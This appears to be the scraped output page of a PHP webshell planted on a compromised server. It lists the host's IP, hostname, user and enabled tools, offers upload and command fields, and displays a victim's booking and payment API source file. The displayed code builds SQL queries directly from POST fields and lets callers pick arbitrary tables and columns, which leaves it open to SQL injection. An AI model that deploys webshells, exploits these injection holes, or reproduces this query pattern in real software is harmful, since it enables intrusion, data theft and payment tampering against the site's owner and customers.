403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/api.pacim.de/web/src/PaCIM/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/api.pacim.de/web/src/PaCIM/editBooking.php
<?php
// Deny all except PaCIM App
if( !isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) || ( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) && $_SERVER['HTTP_X_REQUESTED_WITH'] != 'com.pacim.sa' ) ) {

    require_once("send_mail.php");

    sendEmail(
       'report@pacim.de',
       'POSSIBLE ATTACK by ' . getIPAddress(),
       content_mail( $_SERVER ),
       TRUE
    );

    die('forbidden');
} /*else {
  //header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500);
  $formData = $_POST;
  
  file_put_contents("/var/www/clients/client2/web18/web/src/PaCIM/test.txt", $formData['payment_date'] . ' ' . date('H:i:s'));
  die($formData['payment_date'] . ' ' . date('H:i:s'));
}*/



require_once("includes/config.inc.php");

/**
 * @var \Fusio\Engine\ConnectorInterface $connector
 * @var \Fusio\Engine\ContextInterface $context
 * @var \Fusio\Engine\RequestInterface $request
 * @var \Fusio\Engine\Response\FactoryInterface $response
 * @var \Fusio\Engine\ProcessorInterface $processor
 * @var \Psr\Log\LoggerInterface $logger
 * @var \Psr\SimpleCache\CacheInterface $cache
 */

use PSX\Http\Exception as StatusCode;

$connection = $connector->getConnection('PaCIM-PAS');
$formData = $_POST;
#$formData['payment_date'] = date( "Y-m-d", strtotime( $_POST['payment_date'] ));
#$formData['payment_date'] = "2022-04-05 15:45:22";


if( isset( $formData['action'] ) ) {
	
	switch( $formData['action'] ) {
		
		case "checkin":
			
			$checkInControl = $connection->fetchAll('
				SELECT
					c.customer_id,
				    COUNT(b.booking_id) AS cars,
				    (SELECT COUNT(booking_id) FROM pacim_booking WHERE booking_checkin IS NOT NULL AND booking_invoice = b.booking_invoice) AS checked_cars,
					COUNT(b.booking_id)-(SELECT COUNT(booking_id) FROM pacim_booking WHERE booking_checkin IS NOT NULL AND booking_invoice = b.booking_invoice) as unchecked_cars,
				    ((SELECT FORMAT(SUM(payment_value), 2) AS payed FROM pacim_payments WHERE payment_invoice=d.invoice_id)/( (SELECT
				     FORMAT(SUM(
				         IF((product_id <= 2 AND (d.invoice_coupon = 2 OR invoice_pos_discount_type = 2)),
				            (invoice_pos_price*0.9*invoice_pos_quantity*1.19),
				            IF((product_id <= 2 AND (d.invoice_coupon = 1 OR invoice_pos_discount_type = 1)),
				               ((invoice_pos_price*invoice_pos_quantity*1.19)-5),
				               (invoice_pos_price*invoice_pos_quantity*1.19)
				              ))
				     ), 0)
				     FROM pacim_invoice_pos
				     WHERE invoice_id=b.booking_invoice)/COUNT(b.booking_id)))-(SELECT COUNT(booking_id) FROM pacim_booking WHERE booking_checkin IS NOT NULL AND booking_invoice = b.booking_invoice) AS allowed_cars,
				    (SELECT FORMAT(SUM(payment_value), 2) AS payed FROM pacim_payments WHERE payment_invoice=d.invoice_id) AS price_payed,
				    (SELECT
				     FORMAT(SUM(
				         IF((product_id <= 2 AND (d.invoice_coupon = 2 OR invoice_pos_discount_type = 2)),
				            (invoice_pos_price*0.9*invoice_pos_quantity*1.19),
				            IF((product_id <= 2 AND (d.invoice_coupon = 1 OR invoice_pos_discount_type = 1)),
				               ((invoice_pos_price*invoice_pos_quantity*1.19)-5),
				               (invoice_pos_price*invoice_pos_quantity*1.19)
				              ))
				     ), 2)
				     FROM pacim_invoice_pos
				     WHERE invoice_id=b.booking_invoice) AS price,
				     d.invoice_payment AS old_payment
				FROM pacim_booking b
				    LEFT JOIN pacim_customer c ON c.customer_id = b.booking_customer
				    LEFT JOIN pacim_invoice d ON d.invoice_id = b.booking_invoice
				    LEFT JOIN pacim_events_info ei ON ei.event_title = booking_event
				WHERE b.booking_invoice = (SELECT booking_invoice FROM pacim_booking WHERE booking_id=' . $formData['booking_id'] . ')
				GROUP by b.booking_invoice
				ORDER by b.booking_id DESC
			')[0];
			
			$checkInStatus = $connection->fetchColumn('
				SELECT
					booking_checkin
			    FROM pacim_booking
			    WHERE booking_id = ' . $formData['booking_id']
			);
			
			date_default_timezone_set('Europe/Berlin');
			$dateTimeNow = date('Y-m-d H:i:s'); $updateMessage = false; $updateStatusShort = 'ok';
			if( $checkInStatus == NULL ) {
				
				if( $checkInControl['old_payment'] == 0 && $checkInControl['cars'] > 1 && ($checkInControl['price']-$checkInControl['price_payed']) > 0 && $checkInControl['allowed_cars'] < 0.9 ) {
					$updateStatus = NULL;
					$updateMessage = "Bitte erst das Kundenkonto ausgleichen!";
					$updateStatusShort = "note";
				} else {
					$updateStatus = $dateTimeNow;
					$updateStatusShort = "ok";
				}
				
			} else {
				$updateStatus = NULL;
				$updateStatusShort = "ok";
			}
			
			
			// nur in die DB schreiben, wenn Änderung Stattfindet
			if( $checkInStatus !== $updateStatus ) {
				$connection->update('pacim_booking', array(
						'booking_checkin' => $updateStatus
					), array(
						'booking_id' => $formData['booking_id']
					)
				);
			}
			
			
			$updateResult = ($updateStatus === NULL ? "0000-00-00 00:00:00" : $updateStatus);
			
			return $response->build(200, [], array(
				'status' => $updateStatusShort,
				'checkin' => $updateResult,
				'message' => $updateMessage,
				'checkin_year' => date('Y'),
				'checkin_month' => date('m'),
				'checkin_day' => date('d'),
				'date_format' => date('d.m.Y', strtotime( $updateResult ) ) . ' um ' . date('H:i', strtotime( $updateResult ) ) . ' Uhr'
			));
			break;
			
		case "favorite":
			
			$checkFavorite = $connection->fetchColumn('
				SELECT
					COUNT(view_booking)
			    FROM pacim_view
			    WHERE view_booking = ' . $formData['invoice_id']
			);
			
			
			if( $checkFavorite <= 0 ) {
				
				$connection->insert('pacim_view', array(
						'view_booking' => $formData['invoice_id'],
						'view_user' => 'nico',
						'view_datetime' => date('Y-m-d H:i:s')
					)
				);
				
				$favoriteStatus = 1;
				
			} else {
				
				$connection->delete('pacim_view', array(
					'view_booking' => $formData['invoice_id']
					)
				);
				
				$favoriteStatus = 0;
				
			}
			
			return $response->build(200, [], array(
				'status' => 'ok',
				'favorite' => $favoriteStatus
			));
			break;
			
		case "editor":
			
			
			$connection->update('pacim_' . $formData['module'], array(
					$formData['module'] . '_' . $formData['key'] => $formData['content']
				), array(
					$formData['module'] . '_id' => $formData['id']
				)
			);
			
			return $response->build(200, [], array(
				'status' => 'ok',
				$formData['key'] => $formData['content']
			));
			break;
			
		case "payment":
			
			
			$connection->insert('pacim_payments', array(
					'payment_invoice' => $formData['payment_invoice'],
					'payment_type' => $formData['payment_type'],
					'payment_value' => $formData['payment_value'],
					'payment_notice' => $formData['payment_notice'],
					'payment_date' => $formData['payment_date'],
				)
			);
			
      
      // Coupon, falls eingegeben
      if( $formData['invoice_coupon'] ) {
  			$connection->update('pacim_invoice', array(
  					'invoice_coupon' => $formData['invoice_coupon']
  				), array(
  					'invoice_id' => $formData['payment_invoice']
  				)
  			);
     }
			
			
			$paymentControl = $connection->fetchAll('
				SELECT
					d.invoice_no,
					c.customer_id,
				    COUNT(b.booking_id) AS cars,
				    (SELECT COUNT(booking_id) FROM pacim_booking WHERE booking_checkin IS NOT NULL AND booking_invoice = b.booking_invoice) AS checked_cars,
					COUNT(b.booking_id)-(SELECT COUNT(booking_id) FROM pacim_booking WHERE booking_checkin IS NOT NULL AND booking_invoice = b.booking_invoice) as unchecked_cars,
				    ((SELECT FORMAT(SUM(payment_value), 2) AS payed FROM pacim_payments WHERE payment_invoice=d.invoice_id)/( (SELECT
				     FORMAT(SUM(
				         IF((product_id <= 2 AND (d.invoice_coupon = 2 OR invoice_pos_discount_type = 2)),
				            (invoice_pos_price*0.9*invoice_pos_quantity*1.19),
				            IF((product_id <= 2 AND (d.invoice_coupon = 1 OR invoice_pos_discount_type = 1)),
				               ((invoice_pos_price*invoice_pos_quantity*1.19)-5),
				               (invoice_pos_price*invoice_pos_quantity*1.19)
				              ))
				     ), 0)
				     FROM pacim_invoice_pos
				     WHERE invoice_id=b.booking_invoice)/COUNT(b.booking_id)))-(SELECT COUNT(booking_id) FROM pacim_booking WHERE booking_checkin IS NOT NULL AND booking_invoice = b.booking_invoice) AS allowed_cars,
				    (SELECT FORMAT(SUM(payment_value), 2) AS payed FROM pacim_payments WHERE payment_invoice=d.invoice_id) AS price_payed,
				    (SELECT
				     FORMAT(SUM(
				         IF((product_id <= 2 AND (d.invoice_coupon = 2 OR invoice_pos_discount_type = 2)),
				            (invoice_pos_price*0.9*invoice_pos_quantity*1.19),
				            IF((product_id <= 2 AND (d.invoice_coupon = 1 OR invoice_pos_discount_type = 1)),
				               ((invoice_pos_price*invoice_pos_quantity*1.19)-5),
				               (invoice_pos_price*invoice_pos_quantity*1.19)
				              ))
				     ), 2)
				     FROM pacim_invoice_pos
				     WHERE invoice_id=b.booking_invoice) AS price,
				     d.invoice_payment AS old_payment
				FROM pacim_booking b
				    LEFT JOIN pacim_customer c ON c.customer_id = b.booking_customer
				    LEFT JOIN pacim_invoice d ON d.invoice_id = b.booking_invoice
				    LEFT JOIN pacim_events_info ei ON ei.event_title = booking_event
				WHERE b.booking_invoice = "' . $formData['payment_invoice'] . '"
				GROUP by b.booking_invoice
				ORDER by b.booking_id DESC
			')[0];
			
			if( ( $paymentControl['price']-$paymentControl['price_payed'] ) <= 0 ) {
				
				// Zahlungsart und -Datum
				$arrUpdatePayment['invoice_payment'] = $formData['payment_type'];
				$arrUpdatePayment['invoice_paydate'] = $formData['payment_date'] . ' ' . date('H:i:s');
				
				// Rechnungsnummer automatisch vergeben, falls es diese noch nicht gibt
				if( $paymentControl['invoice_no'] == '' ) {
					
					// Nächste Re-Nr. beziehen
					$lastInvNo = $connection->fetchColumn("
						SELECT
				        	CAST(REGEXP_REPLACE(invoice_no, '[a-zA-Z]+', '') AS INT)+1 as re_no
				        FROM pacim_invoice
				        WHERE invoice_no LIKE 'PAS%' AND invoice_status != 3
				        ORDER by CAST(REGEXP_REPLACE(invoice_no, '[a-zA-Z]+', '') AS INT) DESC
					");
					
					// Rechnungs-Nr. und Datum
					$arrUpdatePayment['invoice_no'] = 'PAS' . $lastInvNo;
					$arrUpdatePayment['invoice_date'] = $formData['payment_date'];
					
				}
				
				// Zahlung markieren
				$connection->update('pacim_invoice', $arrUpdatePayment, array(
						'invoice_id' => $formData['payment_invoice']
					)
				);
				
			}

			
			return $response->build(200, [], array(
				'status' => 'ok'
			));
			break;
			
		default:
			
			return $response->build(200, [], array(
				'status' => 'error'
			));
			break;
	}
	
} else {
	
	return $response->build(200, [], array(
		'status' => 'error'
	));
}

Youez - 2016 - github.com/yon3zu
LinuXploit